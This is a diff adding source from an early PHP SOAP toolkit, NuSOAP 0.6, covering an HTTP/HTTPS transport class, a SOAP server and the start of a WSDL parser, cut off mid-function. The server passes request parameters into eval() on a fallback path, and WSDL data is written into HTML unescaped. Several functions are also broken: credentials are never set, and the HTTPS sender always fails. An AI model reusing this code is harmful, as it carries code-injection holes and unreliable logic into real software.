+* HTTPS support is experimental!
+*
+* @access public
+*/
+class soap_transport_http extends nusoap_base {
+
+        var $username;
+        var $password;
+        var $url;
+        /**
+        * constructor
+        */
+        function soap_transport_http($url){
+                $this->url = $url;
+                $u = parse_url($url);
+                foreach($u as $k => $v){
+                       $this->debug("$k = $v");
+                        $this->$k = $v;
+                }
+                if($u['query'] != ''){
+                        $this->path .= $u['query'];
+                }
+                if(!isset($u['port']) && $u['scheme'] == 'http'){
+                        $this->port = 80;
+                }
+        }
+
+        /**
+        * if authenticating, set user credentials here
+        *
+        * @param    string $user
+        * @param    string $pass
+        * @access   public
+        */
+        function setCredentials($user, $pass) {
+                $this->user = $username;
+                $this->pass = $pword;
+        }
+
+        /**
+        * set the soapaction value
+        *
+        * @param    string $soapaction
+        * @access   public
+        */
+        function setSOAPAction($soapaction) {
+                $this->soapaction = $soapaction;
+        }
+
+        /**
+        * set proxy info here
+        *
+        * @param    string $proxyhost
+        * @param    string $proxyport
+        * @access   public
+        */
+        function setProxy($proxyhost, $proxyport) {
+                $this->proxyhost = $proxyhost;
+                $this->proxyport = $proxyport;
+        }
+
+        /**
+        * send the SOAP message via HTTP 1.0
+        *
+        * @param    string $msg message data
+        * @param    integer $timeout set timeout in seconds
+        * @return        string data
+        * @access   public
+        */
+        function send($data, $timeout=0) {
+            flush();
+                $this->debug('entered send() with data of length: '.strlen($data));
+
+                if($this->proxyhost && $this->proxyport){
+                        $host = $this->proxyhost;
+                        $port = $this->proxyport;
+                } else {
+                        $host = $this->host;
+                        $port = $this->port;
+                }
+                if($timeout > 0){
+                        $fp = fsockopen($host, $port, $this->errno, $this->error_str, $timeout);
+                } else {
+                        $fp = fsockopen($host, $port, $this->errno, $this->error_str);
+                }
+        //socket_set_blocking($fp,0);
+                if (!$fp) {
+                        $this->debug("Couldn't open socket connection to server: $server!");
+                        $this->setError("Couldn't open socket connection to server: $server.");
+                        return false;
+                }
+
+                $credentials = '';
+                if($this->user != '') {
+                        $credentials = 'Authorization: Basic '.base64_encode('$this->user:$this->pass').'\r\n';
+                }
+
+                if($this->proxyhost && $this->proxyport){
+                        $this-> outgoing_payload = "POST $this->url HTTP/1.0\r\n";
+                } else {
+                        $this->outgoing_payload = "POST $this->path HTTP/1.0\r\n";
+                }
+
+                $this->outgoing_payload .=
+                        "User-Agent: $this->title v$this->version\r\n".
+                        "Host: ".$this->host."\r\n".
+                        $credentials.
+                        "Content-Type: text/xml\r\nContent-Length: ".strlen($data)."\r\n".
+                        "SOAPAction: \"$this->soapaction\""."\r\n\r\n".
+                        $data;
+
+                // send
+                if(!fputs($fp, $this->outgoing_payload, strlen($this->outgoing_payload))) {
+                        $this->setError("couldn't write message data to socket");
+                        $this->debug("Write error");
+                }
+
+        // get response
+            $this->incoming_payload = "";
+            while ($data = fread($fp, 32768)) {
+                $this->incoming_payload .= $data;
+            }
+
+                // close filepointer
+                fclose($fp);
+                $data = $this->incoming_payload;
+        //print "data: <xmp>$data</xmp>";
+                // separate content from HTTP headers
+                       if(preg_match("/([^<]*?)\r?\n\r?\n(<.*>)/s",$data,$result)) {
+                                       $this->debug("found proper separation of headers and document");
+                                       $this->debug("getting rid of headers, stringlen: ".strlen($data));
+                                       $clean_data = $result[2];
+                                       $this->debug("cleaned data, stringlen: ".strlen($clean_data));
+                /*
+                if(ereg("^(.*)\r?\n\r?\n",$data)) {
+                        $this->debug("found proper separation of headers and document");
+                        $this->debug("getting rid of headers, stringlen: ".strlen($data));
+                        $clean_data = ereg_replace("^[^<]*\r\n\r\n","", $data);
+                        $this->debug("cleaned data, stringlen: ".strlen($clean_data));
+                */
+                } else {
+                        $this->setError('no proper separation of headers and document.');
+                        return false;
+                }
+                if(strlen($clean_data) == 0){
+                        $this->debug("no data after headers!");
+                        $this->setError("no data present after HTTP headers.");
+                        return false;
+                }
+
+                return $clean_data;
+        }
+
+
+        /**
+        * send the SOAP message via HTTPS 1.0 using CURL
+        *
+        * @param    string $msg message data
+        * @param    integer $timeout set timeout in seconds
+        * @return        string data
+        * @access   public
+        */
+        function sendHTTPS($data, $timeout=0) {
+            flush();
+                $this->debug('entered sendHTTPS() with data of length: '.strlen($data));
+                // init CURL
+        $ch = curl_init();
+
+        // set proxy
+                if($this->proxyhost && $this->proxyport){
+                        $host = $this->proxyhost;
+                        $port = $this->proxyport;
+                } else {
+                        $host = $this->host;
+                        $port = $this->port;
+                }
+        // set url
+        $hostURL = ($port != '') ? "https://$host:$port" : "https://$host";
+        // add path
+                $hostURL .= $this->path;
+
+                curl_setopt($ch, CURLOPT_URL, $hostURL);
+        // set other options
+                   curl_setopt($ch, CURLOPT_HEADER, 1);
+                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+                // set timeout
+        if($timeout != 0){
+                curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
+        }
+
+                $credentials = '';
+                if($this->user != '') {
+                        $credentials = 'Authorization: Basic '.base64_encode('$this->user:$this->pass').'\r\n';
+                }
+
+                if($this->proxyhost && $this->proxyport){
+                        $this-> outgoing_payload = "POST $this->url HTTP/1.0\r\n";
+                } else {
+                        $this->outgoing_payload = "POST $this->path HTTP/1.0\r\n";
+                }
+
+                $this->outgoing_payload .=
+                        "User-Agent: $this->title v$this->version\r\n".
+                        "Host: ".$this->host."\r\n".
+                        $credentials.
+                        "Content-Type: text/xml\r\nContent-Length: ".strlen($data)."\r\n".
+                        "SOAPAction: \"$this->soapaction\""."\r\n\r\n".
+                        $data;
+
+                // set payload
+                curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $this->outgoing_payload);
+
+                // send and receive
+                $this->incoming_payload = curl_exec($ch);
+                $data = $this->incoming_payload;
+
+                 $err = "cURL ERROR: ".curl_errno($ch).": ".curl_error($ch)."<br>";
+
+                if($err != ''){
+                        foreach(curl_getinfo($ch) as $k => $v){
+                $err .= "$k: $v<br>";
+                }
+                $this->setError($err);
+                        curl_close($ch);
+            return false;
+        }
+
+                curl_close($ch);
+
+                // separate content from HTTP headers
+                if(ereg("^(.*)\r?\n\r?\n",$data)) {
+                        $this->debug("found proper separation of headers and document");
+                        $this->debug("getting rid of headers, stringlen: ".strlen($data));
+                        $clean_data = ereg_replace("^[^<]*\r\n\r\n","", $data);
+                        $this->debug("cleaned data, stringlen: ".strlen($clean_data));
+                } else {
+                        $this->setError('no proper separation of headers and document.');
+                        return false;
+                }
+                if(strlen($clean_data) == 0){
+                        $this->debug("no data after headers!");
+                        $this->setError("no data present after HTTP headers.");
+                        return false;
+                }
+
+                return $clean_data;
+        }
+}
+
+?>
+<?php
+/*
+
+NuSOAP - Web Services Toolkit for PHP
+
+Copyright (c) 2002 NuSphere Corporation
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with this library; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+*/
+
+/**
+*
+* soap_server allows the user to create a SOAP server
+* that is capable of receiving messages and returning responses
+*
+* NOTE: WSDL functionality is experimental
+*
+* @author   Dietrich Ayala <dietricha@ganx4.com>
+* @version  v 0.6
+* @access   public
+*/
+class soap_server extends nusoap_base {
+
+    // assoc array of operations => opData
+    var $operations = array();
+    var $responseHeaders = false;
+        var $headers = "";
+        var $request = "";
+        var $charset_encoding = "UTF-8";
+        var $fault = false;
+        var $result = "successful";
+
+        /**
+        * constructor
+        *
+    * @param string $wsdl path or URL to a WSDL file
+        * @access   public
+        */
+        function soap_server($wsdl=false){
+
+                // turn on debugging?
+                global $debug;
+                if(isset($debug)){
+                        $this->debug_flag = true;
+                }
+
+                $this->wsdl = false;
+
+                // wsdl
+                if($wsdl){
+                        $this->wsdl = new wsdl($wsdl);
+                        if($err = $this->wsdl->getError()){
+                                die("WSDL ERROR: $err");
+                        }
+                }
+        }
+
+        /**
+        * processes request and returns response
+        *
+        * @param    string $data usually is the value of $HTTP_RAW_POST_DATA
+        * @access   public
+        */
+        function service($data){
+                // print wsdl
+                if(ereg('^wsdl',$GLOBALS['QUERY_STRING'])){
+                        header("Content-Type: text/xml\r\n");
+                        print $this->wsdl->serialize();
+                // print web interface
+                } elseif($data == '' && $this->wsdl){
+                        print $this->webDescription();
+                } else {
+                        // $response is the serialized response message
+                        $response = $this->parse_request($data);
+                        $this->debug("server sending...");
+                        $payload = $response;
+                        //$payload .= "<!--\n$this->debug_str\n-->";
+                        // print headers
+                        if($this->fault){
+                                $header[] = "Status: 500 Internal Server Error\r\n";
+                        } else {
+                                $header[] = "Status: 200 OK\r\n";
+                        }
+                        $header[] = "Server: $this->title Server v$this->version\r\n";
+                        $header[] = "Connection: Close\r\n";
+                        $header[] = "Content-Type: text/xml; charset=$this->charset_encoding\r\n";
+                        $header[] = "Content-Length: ".strlen($payload)."\r\n\r\n";
+                        reset($header);
+                        foreach($header as $hdr){
+                                header($hdr);
+                        }
+                        $this->response = join("\n",$header).$payload;
+                        print $payload;
+                }
+        }
+
+       /**
+       * parses request and posts response
+       *
+       * @param    string $data XML string
+       * @return        object SOAPx4 soapmsg object
+       * @access   private
+       */
+       function parse_request($data="") {
+        $this->debug("entering parseRequest() on ".date("H:i Y-m-d"));
+        // get headers
+        if(function_exists("getallheaders")){
+                $this->headers = getallheaders();
+                foreach($this->headers as $k=>$v){
+                        $dump .= "$k: $v\r\n";
+                        $this->debug("$k: $v");
+                }
+                // get SOAPAction header
+                if($this->headers['SOAPAction']){
+                        $this->SOAPAction = str_replace('"','',$this->headers['SOAPAction']);
+                }
+                // get the character encoding of the incoming request
+                if(strpos($headers_array['Content-Type'],"=")){
+                        $enc = str_replace("\"","",substr(strstr($headers_array["Content-Type"],"="),1));
+                        if(eregi("^(ISO-8859-1|US-ASCII|UTF-8)$",$enc)){
+                                $this->xml_encoding = $enc;
+                        } else {
+                                $this->xml_encoding = 'us-ascii';
+                        }
+                }
+                $this->debug("got encoding: $this->xml_encoding");
+        } elseif(is_array($_SERVER)){
+                $this->headers['User-Agent'] = $_SERVER['HTTP_USER_AGENT'];
+                $this->SOAPAction = $_SERVER['SOAPAction'];
+        }
+        $this->request = $dump."\r\n\r\n".$data;
+        // parse response, get soap parser obj
+        $parser = new soap_parser($data,$this->xml_encoding);
+        // if fault occurred during message parsing
+        if($err = $parser->getError()){
+                // parser debug
+                $this->debug("parser debug: \n".$parser->debug_str);
+                $this->result = "fault: error in msg parsing or eval: $err";
+                $this->fault("Server","error in msg parsing or eval:\n".$err);
+                // return soapresp
+                return $this->fault->serialize();
+        // else successfully parsed request into soapval object
+        } else {
+                // get/set methodname
+                $this->methodname = $parser->root_struct_name;
+                $this->debug("method name: $this->methodname");
+                // does method exist?
+                if(!function_exists($this->methodname)){
+                        // "method not found" fault here
+                        $this->debug("method '$this->methodname' not found!");
+                        $this->debug("parser debug: \n".$parser->debug_str);
+                        $this->result = "fault: method not found";
+                        $this->fault("Server","method '$this->methodname' not defined in service '$this->service'");
+                        return $this->fault->serialize();
+                }
+                if($this->wsdl){
+                       if(!$this->opData = $this->wsdl->getOperationData($this->methodname)){
+                       $this->fault('Server',"Operation '$this->methodname' is not defined in the WSDL for this service");
+                        return $this->fault->serialize();
+                    }
+                }
+                $this->debug("method '$this->methodname' exists");
+                // evaluate message, getting back parameters
+                $this->debug("calling parser->get_response()");
+                $request_data = $parser->get_response();
+                $this->debug('Parsed response dump: $request_data');
+                // parser debug
+                $this->debug("parser debug: \n".$parser->debug_str);
+                // verify that request parameters match the method's signature
+                if($this->verify_method($this->methodname,$request_data)){
+                        // if there are parameters to pass
+                        if($request_data){
+                                $this->debug("calling '$this->methodname' with params");
+                                if (! function_exists('call_user_func_array')) {
+                                        $this->debug("calling method using eval()");
+                                        $funcCall = $this->methodname."(";
+                                        foreach($request_data as $param) {
+                                                $funcCall .= "\"$param\",";
+                                        }
+                                        $funcCall = substr($funcCall, 0, -1).')';
+                                        $this->debug("function call:<br>$funcCall");
+                                        eval("\$method_response = $funcCall;");
+                                } else {
+                                        $this->debug("calling method using call_user_func_array()");
+                                        $method_response = call_user_func_array("$this->methodname",$request_data);
+                                }
+                        } else {
+                                // call method w/ no parameters
+                                $this->debug("calling $this->methodname w/ no params");
+                                //$method_response = call_user_func($this->methodname);
+                                $m = $this->methodname;
+                                $method_response = $m();
+                        }
+                        $this->debug("done calling method: $this->methodname, received $method_response of type".gettype($method_response));
+                        // if we got nothing back. this might be ok (echoVoid)
+                        if(isset($method_response) && $method_response != "" || is_bool($method_response)) {
+                                // if fault
+                                if(get_class($method_response) == 'soap_fault'){
+                                        $this->debug('got a fault object from method');
+                                        $this->fault = $method_response;
+                                        return $method_response->serialize();
+                                // if return val is soapval object
+                                } elseif(get_class($method_response) == 'soapval'){
+                                        $this->debug('got a soapval object from method');
+                                        $return_val = $method_response->serialize();
+                                // returned other
+                                } else {
+                                        $this->debug("got a ".gettype($method_response)." from method");
+                                        $this->debug("serializing return value");
+                                        if($this->wsdl){
+                                               if(sizeof($this->opData['output']['parts']) > 1){
+                                               $opParams = $method_response;
+                                            } else {
+                                               $opParams = array($method_response);
+                                            }
+                                            $return_val = $this->wsdl->serializeRPCParameters($this->methodname,'output',$opParams);
+                                        } else {
+                                            $return_val = $this->serialize_val($method_response);
+                                        }
+                                }
+                        }
+                        $this->debug("serializing response");
+                        $payload = "<".$this->methodname."Response>\n".$return_val."</".$this->methodname."Response>\n";
+                        $this->result = "successful";
+                        if($this->wsdl){
+                               //$this->debug("WSDL debug data:\n".$this->wsdl->debug_str);
+                        }
+                        return $this->serializeEnvelope($payload,$this->responseHeaders);
+                } else {
+                        // debug
+                        $this->debug("ERROR: request not verified against method signature");
+                        $this->result = "fault: request failed validation against method signature";
+                        // return fault
+                        $this->fault("Server","Sorry, operation '$this->methodname' not defined in service.");
+                        return $this->fault->serialize();
+                }
+               }
+       }
+
+        /**
+        * takes the soapval object that was created by parsing the request
+        * and compares to the method's signature, if available.
+        *
+        * @param        object SOAPx4 soapval object
+        * @return        boolean
+        * @access   private
+        */
+        function verify_method($operation,$request){
+            if(isset($this->operations[$operation])){
+                        return true;
+        }
+        return false;
+        }
+
+        /**
+        * add a method to the dispatch map
+        *
+        * @param    string $methodname
+        * @param    string $in array of input values
+        * @param    string $out array of output values
+        * @access   public
+        */
+        function add_to_map($methodname,$in,$out){
+                       $this->operations[$methodname] = array('name' => $methodname,'in' => $in,'out' => $out);
+        }
+
+        /**
+        * register a service with the server
+        *
+        * @param    string $methodname
+        * @param    string $in array of input values
+        * @param    string $out array of output values
+        * @param        string $namespace
+        * @param        string $soapaction
+        * @param        string $style (rpc|literal)
+        * @access   public
+        */
+        function register($name,$in=false,$out=false,$namespace=false,$soapaction=false,$style=false){
+            $this->operations[$name] = array(
+            'name' => $name,
+            'in' => $in,
+            'out' => $out,
+            'namespace' => $namespage,
+            'soapaction' => $soapaction,
+            'style' => $style);
+               return true;
+        }
+
+        /**
+        * create a fault. this also acts as a flag to the server that a fault has occured.
+        *
+        * @param        string faultcode
+        * @param        string faultactor
+        * @param        string faultstring
+        * @param        string faultdetail
+        * @access   public
+        */
+        function fault($faultcode,$faultactor,$faultstring='',$faultdetail=''){
+               $this->fault = new soap_fault($faultcode,$faultactor,$faultstring,$faultdetail);
+        }
+
+    /**
+    * prints html description of services
+    *
+    * @access private
+    */
+    function webDescription(){
+        $b .= "
+        <html><head><title>NuSOAP: ".$this->wsdl->serviceName."</title>
+        <style type=\"text/css\">
+            body    { font-family: arial; color: #000000; background-color: #ffffff; margin: 0px 0px 0px 0px; }
+            p       { font-family: arial; color: #000000; margin-top: 0px; margin-bottom: 12px; }
+            pre { background-color: silver; padding: 5px; font-family: Courier New; font-size: x-small; color: #000000;}
+            ul      { margin-top: 10px; margin-left: 20px; }
+            li      { list-style-type: none; margin-top: 10px; color: #000000; }
+            .content{
+                margin-left: 0px; padding-bottom: 2em; }
+            .nav {
+                padding-top: 10px; padding-bottom: 10px; padding-left: 15px; font-size: .70em;
+                margin-top: 10px; margin-left: 0px; color: #000000;
+                background-color: #ccccff; width: 20%; margin-left: 20px; margin-top: 20px; }
+            .title {
+                font-family: arial; font-size: 26px; color: #ffffff;
+                background-color: #999999; width: 105%; margin-left: 0px;
+                padding-top: 10px; padding-bottom: 10px; padding-left: 15px;}
+            .hidden {
+                position: absolute; visibility: hidden; z-index: 200; left: 250px; top: 100px;
+                font-family: arial; overflow: hidden; width: 600;
+                padding: 20px; font-size: 10px; background-color: #999999;
+                layer-background-color:#FFFFFF; }
+            a,a:active  { color: charcoal; font-weight: bold; }
+            a:visited   { color: #666666; font-weight: bold; }
+            a:hover     { color: cc3300; font-weight: bold; }
+        </style>
+        <script language=\"JavaScript\" type=\"text/javascript\">
+        <!--
+        // POP-UP CAPTIONS...
+        function lib_bwcheck(){ //Browsercheck (needed)
+            this.ver=navigator.appVersion
+            this.agent=navigator.userAgent
+            this.dom=document.getElementById?1:0
+            this.opera5=this.agent.indexOf(\"Opera 5\")>-1
+            this.ie5=(this.ver.indexOf(\"MSIE 5\")>-1 && this.dom && !this.opera5)?1:0;
+            this.ie6=(this.ver.indexOf(\"MSIE 6\")>-1 && this.dom && !this.opera5)?1:0;
+            this.ie4=(document.all && !this.dom && !this.opera5)?1:0;
+            this.ie=this.ie4||this.ie5||this.ie6
+            this.mac=this.agent.indexOf(\"Mac\")>-1
+            this.ns6=(this.dom && parseInt(this.ver) >= 5) ?1:0;
+            this.ns4=(document.layers && !this.dom)?1:0;
+            this.bw=(this.ie6 || this.ie5 || this.ie4 || this.ns4 || this.ns6 || this.opera5)
+            return this
+        }
+        var bw = new lib_bwcheck()
+        //Makes crossbrowser object.
+        function makeObj(obj){
+            this.evnt=bw.dom? document.getElementById(obj):bw.ie4?document.all[obj]:bw.ns4?document.layers[obj]:0;
+            if(!this.evnt) return false
+            this.css=bw.dom||bw.ie4?this.evnt.style:bw.ns4?this.evnt:0;
+            this.wref=bw.dom||bw.ie4?this.evnt:bw.ns4?this.css.document:0;
+            this.writeIt=b_writeIt;
+            return this
+        }
+        // A unit of measure that will be added when setting the position of a layer.
+        //var px = bw.ns4||window.opera?\"\":\"px\";
+        function b_writeIt(text){
+            if (bw.ns4){this.wref.write(text);this.wref.close()}
+            else this.wref.innerHTML = text
+        }
+        //Shows the messages
+        var oDesc;
+        function popup(divid){
+            if(oDesc = new makeObj(divid)){
+                oDesc.css.visibility = \"visible\"
+            }
+        }
+        function popout(){ // Hides message
+            if(oDesc) oDesc.css.visibility = \"hidden\"
+        }
+        //-->
+        </script>
+        </head>
+        <body>
+        <div class='content'>
+        <br><br>
+        <div class='title'>".$this->wsdl->serviceName."</div>
+        <div class='nav'>
+        <p>View the <a href='$PHP_SELF?wsdl'>WSDL</a> for the service.
+        Click on an operation name to view it's details.</p>
+        <ul>
+        ";
+        foreach($this->wsdl->getOperations() as $op => $data){
+            $b .= "<li><a href='#' onclick=\"popup('$op')\">$op</a></li>";
+            // create hidden div
+            $b .= "<div id='$op' class='hidden'>
+            <a href='#' onclick='popout()'><font color='#ffffff'>Close</font></a><br><br>";
+            foreach($data as $donnie => $marie){
+                if($donnie == 'input' || $donnie == 'output'){
+                    $b .= "<font color='white'>".ucfirst($donnie).":</font><br>";
+                    foreach($marie as $captain => $tenille){
+                        if($captain == 'parts'){
+                            $b .= "&nbsp;&nbsp;$captain:<br>";
+                            foreach($tenille as $joanie => $chachi){
+                                $b .= "&nbsp;&nbsp;&nbsp;&nbsp;$joanie: $chachi<br>";
+                            }
+                        } else {
+                            $b .= "&nbsp;&nbsp;$captain: $tenille<br>";
+                        }
+                    }
+                } else {
+                    $b .= "<font color='white'>".ucfirst($donnie).":</font> $marie<br>";
+                }
+            }
+            /*$b .= "<pre>".$this->formatDump(
+                $this->wsdl->serializeEnvelope(
+                    $this->wsdl->serializeRPCParameters($op,array())))."</pre>";
+            $b .= "</div>";*/
+        }
+        $b .= "
+        <ul>
+        </div>
+        </div>
+        </body></html>";
+        return $b;
+    }
+
+    /**
+    * sets up wsdl object
+    * this acts as a flag to enable internal WSDL generation
+    * NOTE: NOT FUNCTIONAL
+    *
+    * @param string $serviceName, name of the service
+    * @param string $namespace, tns namespace
+    */
+    function configureWSDL($serviceName,$namespace){
+        $this->wsdl = new wsdl;
+        $this->wsdl->serviceName = $serviceName;
+        $this->wsdl->namespaces['tns'] = $namespace;
+        $this->wsdl->namespaces['soap'] = "http://schemas.xmlsoap.org/wsdl/soap/";
+        $this->wsdl->namespaces['wsdl'] = "http://schemas.xmlsoap.org/wsdl/";
+    }
+}
+
+?>
+<?
+/*
+
+NuSOAP - Web Services Toolkit for PHP
+
+Copyright (c) 2002 NuSphere Corporation
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with this library; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+*/
+
+/**
+* parses a WSDL file, allows access to it's data, other utility methods
+*
+* @author   Dietrich Ayala <dietricha@ganx4.com>
+* @access   public
+*/
+class wsdl extends XMLSchema {
+
+        /**
+        * constructor
+        *
+        * @param    string $wsdl WSDL document URL
+        * @access   public
+        */
+        function wsdl($wsdl=""){
+                $this->wsdl = $wsdl;
+                // define internal arrays of bindings, ports, operations, messages, etc.
+                //$this->namespaces = array();
+                $this->complexTypes = array();
+                $this->messages = array();
+                $this->currentMessage;
+                $this->currentOperation;
+                $this->portTypes = array();
+                $this->currentPortType;
+                $this->bindings = array();
+                $this->currentBinding;
+                $this->ports = array();
+                $this->currentPort;
+                $this->opData = array();
+                $this->status = "";
+        $this->documentation = false;
+                // array of wsdl docs to import
+                $this->import = array();
+                // parser vars
+                $this->parser;
+                $this->position;
+                $this->depth;
+                $this->depth_array = array();
+
+                // parse wsdl file
+        if($wsdl != ""){
+                        $this->debug("initial wsdl file: $wsdl");
+                        $this->parseWSDL($wsdl);
+                }
+
+                // imports
+                if(sizeof($this->import) > 0){
+                        foreach($this->import as $ns => $url){
+                                $this->debug("importing wsdl from $url");
+                                $this->parseWSDL($url);
+                        }
+                }
+
+        }
+
+        /**
+        * parses the wsdl document
+        *
+        * @param    string $wsdl path or URL
+        * @access   private
+        */
+        function parseWSDL($wsdl=""){
+                // parse wsdl file
+        if($wsdl != ""){
+                        $this->debug("getting $wsdl");
+            if ($fp = @fopen($wsdl,"r")) {
+                while($data = fread($fp, 32768)) {
+                                    $wsdl_string .= $data;
+                                }
+                fclose($fp);
+                        } else {
+                                $this->setError("bad path to WSDL file.");
+                                return false;
+                        }
+            // Create an XML parser.
+            $this->parser = xml_parser_create();
+            // Set the options for parsing the XML data.
+            //xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
+            xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0);
+            // Set the object for the parser.
+            xml_set_object($this->parser, $this);
+            // Set the element handlers for the parser.
+            xml_set_element_handler($this->parser, "start_element","end_element");
+            xml_set_character_data_handler($this->parser,"character_data");
+                        //xml_set_default_handler($this->parser, "default_handler");
+
+            // Parse the XML file.
+            if(!xml_parse($this->parser,$wsdl_string,true)){
+                // Display an error message.
+                                $errstr = sprintf("XML error on line %d: %s",
+                        xml_get_current_line_number($this->parser),
+                        xml_error_string(xml_get_error_code($this->parser))
+                                );
+                                $this->debug("XML parse error: $errstr");
+                                $this->setError("Parser error: $errstr");
+                                return false;
+            }
+                        xml_parser_free($this->parser);
+        } else{
+                        $this->debug("no wsdl passed to parseWSDL()!!");
+                        $this->setError("no wsdl passed to parseWSDL()!!");
+                        return false;
+                }
+
+                // add new data to operation data
+                foreach($this->bindings as $binding => $bindingData){
+                        if(is_array($bindingData['operations'])){
+                                foreach($bindingData['operations'] as $operation => $data){
+                                        $this->debug("post-parse data gathering for $operation");
+                    $this->bindings[$binding]['operations'][$operation]['input'] = array_merge($this->bindings[$binding]['operations'][$operation]['input'],$this->portTypes[ $bindingData['portType'] ][$operation]['input']);
+                                        $this->bindings[$binding]['operations'][$operation]['output'] = array_merge($this->bindings[$binding]['operations'][$operation]['output'],$this->portTypes[ $bindingData['portType'] ][$operation]['output']);
+                                        $this->bindings[$binding]['operations'][$operation]['input']['parts'] = $this->messages[ $this->bindings[$binding]['operations'][$operation]['input']['message'] ];
+                                        $this->bindings[$binding]['operations'][$operation]['output']['parts'] = $this->messages[ $this->bindings[$binding]['operations'][$operation]['output']['message'] ];
+                                        if($this->bindings[$binding]['operations'][$operation]['style'] == ''){
+                                                $this->bindings[$binding]['operations'][$operation]['style'] = $bindingData['style'];
+                                        }
+                                        $this->bindings[$binding]['operations'][$operation]['transport'] = $bindingData['transport'];
+                                        $this->bindings[$binding]['operations'][$operation]['documentation'] = $this->portTypes[ $bindingData['portType'] ][$operation]['documentation'];
+                                        $this->bindings[$binding]['operations'][$operation]['endpoint'] = $bindingData['endpoint'];
+                                }
+                        }
+                }
+                return true;
+        }
+
+        /**
+        * start-element handler
+        *
+        * @param    string $parser XML parser object
+        * @param    string $name element name
+        * @param    string $attrs associative array of attributes
+        * @access   private
+        */
+        function start_element($parser, $name, $attrs) {
+
+                if($this->status == "schema" || ereg("schema$",$name)){
+                        //$this->debug("startElement for $name ($attrs[name]). status = $this->status (".$this->getLocalPart($name).")");
+                        $this->status = "schema";
+                        $this->schemaStartElement($parser,$name,$attrs);
+                } else {
+                        // position in the total number of elements, starting from 0
+                        $pos = $this->position++;
+                        $depth = $this->depth++;
+                        // set self as current value for this depth
+                        $this->depth_array[$depth] = $pos;
+
+                        // get element prefix
+                        if(ereg(":",$name)){
+                                // get ns prefix
+                                $prefix = substr($name,0,strpos($name,":"));
+                                // get unqualified name
+                                $name = substr(strstr($name,":"),1);
+                        }
+                        //$this->debug("name: $name, prefix: $prefix");
+
+                        // loop through atts, logging ns declarations
+                        foreach($attrs as $key => $value){
+                                // if ns declarations, add to class level array of valid namespaces
+                                if(ereg("^xmlns",$key)){
+                                        if($ns_prefix = substr(strrchr($key,":"),1)){
+                                                $this->namespaces[$ns_prefix] = $value;
+                                        } else {
+                                                $this->namespaces['ns'.(count($this->namespaces)+1)] = $value;
+                                        }
+                                        if($value == 'http://www.w3.org/2001/XMLSchema'){
+                                                $this->XMLSchemaVersion = $value;
+                                                $this->namespaces['xsi'] = $value.'-instance';
+                                        } elseif($value == 'http://www.w3.org/1999/XMLSchema'){
+                                                $this->XMLSchemaVersion = $value;
+                                                $this->namespaces['xsi'] = $value.'-instance';
+                                        }
+                                }
+                        }
+
+                        // find status, register data
+                        switch($this->status){
+                                case 'message':
+                                        if($name == 'part'){
+                                                if($attrs['type']){
+                                                        //print "msg ".$this->currentMessage.": found part $attrs[name]: ".implode(',',$attrs)."<br>";
+                                                        $this->messages[$this->currentMessage][$attrs['name']] = $this->expandQname($attrs['type']);
+                                                        //print "i've stored it as: ".$this->messages[$this->currentMessage][$attrs['name']]."<br>";
+                                                }
+                                                if($attrs['element']){
+                                                        $this->messages[$this->currentMessage][$attrs['name']] = $this->expandQname($attrs['element']);
+                                                }
+                                        }
+                                break;
+                                case 'portType':
+                                        switch($name){
+                                                case 'operation':
+                                                        $this->currentPortOperation = $attrs["name"];
+                                                        $this->debug("portType $this->currentPortType operation: $this->currentPortOperation");
+                                                        $this->portTypes[$this->currentPortType][$attrs["name"]]["parameterOrder"] = $attrs["parameterOrder"];
+                                                break;
+                                                case 'documentation':
+                                $this->documentation = true;
+                        break;
+                                                // merge input/output data
+                                                default:
+                                                        $this->portTypes[$this->currentPortType][$this->currentPortOperation][$name]['message'] = $this->getLocalPart($attrs['message']);
+                                                break;
+                                        }
+                                break;
+                                case 'binding':
+                                        switch($name){
+                                                case 'binding':
+                                                        // get ns prefix
+                                                        if(isset($attrs['style'])){
+                                                                $this->bindings[$this->currentBinding]['prefix'] = $prefix;
+                                                        }
+                                                        $this->bindings[$this->currentBinding] = array_merge($this->bindings[$this->currentBinding],$attrs);
+                                                break;
+                                                case 'header':
+                                                        $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus]['headers'][] = $attrs;
+                                                break;
+                                                case 'operation':
+                                                        if($attrs['soapAction'] || $attrs['style']){
+                                                                $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['soapAction'] = $attrs['soapAction'];
+                                                                $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['style'] = $attrs['style'];
+                                                        } elseif($attrs['name']) {
+                                                                $this->currentOperation = $attrs['name'];
+                                                                $this->debug("current binding operation: $this->currentOperation");
+                                                                $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['name'] = $attrs['name'];
+                                                                $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['binding'] = $this->currentBinding;
+                                                                $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['endpoint'] = $this->bindings[$this->currentBinding]['endpoint'];
+                                                        }
+                                                break;
+                                                case 'input':
+                                                        $this->opStatus = 'input';
+                                                break;
+                                                case 'output':
+                                                        $this->opStatus = 'output';
+                                                break;
+                                                case 'body':
